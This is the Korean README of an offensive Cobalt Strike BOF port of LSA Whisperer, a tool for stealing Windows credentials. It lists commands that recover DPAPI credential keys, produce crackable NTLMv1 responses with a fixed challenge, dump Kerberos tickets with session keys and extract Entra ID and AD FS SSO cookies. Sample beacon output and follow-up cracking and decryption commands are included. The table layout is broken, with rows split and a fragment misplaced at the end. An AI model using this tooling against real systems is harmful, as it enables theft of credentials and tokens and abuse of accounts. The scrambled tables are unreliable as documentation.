
LSASS 프로세스 메모리에 접촉하지 않고 LSA 신뢰되지 않은/신뢰된 클라이언트 인터페이스를 통해 Windows 인증 패키지와 직접 통신하는 BOF(Beacon Object File)입니다.

Cobalt Strike Beacon Object File (BOF) 포트로, LSA Whisperer를 기반으로 합니다. 이 도구는 LSA의 신뢰할 수 없는/신뢰하는 클라이언트 인터페이스를 통해 Windows 인증 패키지에 직접 통신하며, PPL 및 Credential Guard가 활성화된 경우에도 LSASS 프로세스 메모리를 건드리지 않습니다.
Evan McBroom (SpecterOps)의 LSA Whisperer는 합법적인 LsaCallAuthenticationPackage API 호출을 통해 DPAPI 자격 증명 키를 복구하고, 클라우드 SSO 토큰을 추출하며, Kerberos와 상호작용할 수 있음을 입증했습니다. 메모리 읽기, 프로세스 인젝션, LSASS에 대한 핸들이 전혀 필요하지 않습니다.
이 프로젝트는 이러한 기능을 레드 팀 작업 중 사용할 수 있도록 BOF 형태로 C2에 이식합니다. lsass 프로세스에 대한 핸들을 절대 열지 않으며, 모든 호출은 LsaCallAuthenticationPackage (lsass와 통신하는 공식 클라이언트 API)를 통해 이루어집니다. LSASS의 PPL은 전혀 문제가 되지 않습니다. PPL은 LSASS 프로세스가 열리거나 읽히거나 인젝션되는 것을 보호합니다.
| 명령어 | 설명 |
|---|---|
lsa-credkey [LUID] | DPAPI 자격 증명 키를 복구합니다. Credential Guard와 함께 작동합니다. |
lsa-strongcredkey [LUID] | 강력한 DPAPI 자격 증명 키를 복구합니다 (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | 선택한 챌린지로 NTLMv1 응답을 생성합니다. 기본 챌린지 1122334455667788는 crack.sh 레인보우 테이블과 호환됩니다. |

| 명령어 | 설명 |
|---|---|
lsa-klist [LUID] | 캐시된 Kerberos 티켓을 나열합니다. |
lsa-dump [LUID] | 모든 티켓을 세션 키와 함께 base64 .kirbi 블롭으로 덤프합니다. |
lsa-purge [LUID] [server] | 티켓을 제거합니다. 서버 이름별 선택적 제거를 지원합니다. |

| 명령어 | 설명 |
|---|---|
lsa-ssocookie [LUID] | AAD 플러그인을 통해 Entra ID (Azure AD) SSO 쿠키를 추출합니다. |
lsa-devicessocookie [LUID] |
LUID: 현재 세션의 경우 0 또는 생략합니다. 특정 로그온 세션을 대상으로 하려면 16진수 값(예: 0x3e7)을 사용합니다. 다른 세션을 대상으로 하려면 SYSTEM 권한이 필요합니다.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
복구된 키를 SharpDPAPI와 함께 사용하세요:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
기본 챌린지를 사용하여 즉시 NT 해시를 복구하려면 응답을 crack.sh에 제출하세요.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
각 모듈은 독립적인 BOF로 컴파일됩니다. 공통 코드는 컴파일 타임에 포함됩니다 (표준 BOF 패턴) — 공유 라이브러리나 런타임 종속성이 없습니다.
| 컨텍스트 | 기능 |
|---|---|
| 현재 사용자 (권한 없음) | 자신의 세션에 대해 lsa-klist, lsa-ssocookie, lsa-cloudinfo |
SYSTEM (SeTcbPrivilege) | LUID로 모든 로그온 세션을 대상으로 하는 모든 명령 |
logonpasswords 또는 klist로 사용 가능한 LUID를 열거하여 대상 세션을 찾으세요.
lsa-credkey 및 lsa-strongcredkey는 Credential Guard를 통해 작동합니다. lsa-ntlmv1은 차단됩니다.1122334455667788는 crack.sh를 통한 무료 레인보우 테이블 크래킹을 가능하게 합니다. 사용자 정의 챌린지는 작동하지만 표준 무차별 대입이 필요합니다.lsa-purge를 사용하면 일치하는 티켓만 제거합니다 — 사용자 세션을 방해하지 않고 대상 Kerberos 남용에 유용합니다.이 프로젝트는 SpecterOps의 Evan McBroom (@EvanMcBroom)이 만든 LSA Whisperer의 BOF 포트입니다. 기반이 되는 모든 연구 — 문서화되지 않은 MSV1_0 프로토콜 메시지, CloudAP/AAD 플러그인 호출 인터페이스, 이를 가능하게 하는 구조체 정의 — 는 그의 작업입니다.
주요 참고 자료:
| 디바이스 SSO 쿠키를 추출합니다. |
lsa-enterprisesso [LUID] | AD FS 엔터프라이즈 SSO 쿠키를 추출합니다. |
lsa-cloudinfo [LUID] | 클라우드 공급자 정보, TGT 상태, DPAPI 상태를 조회합니다. |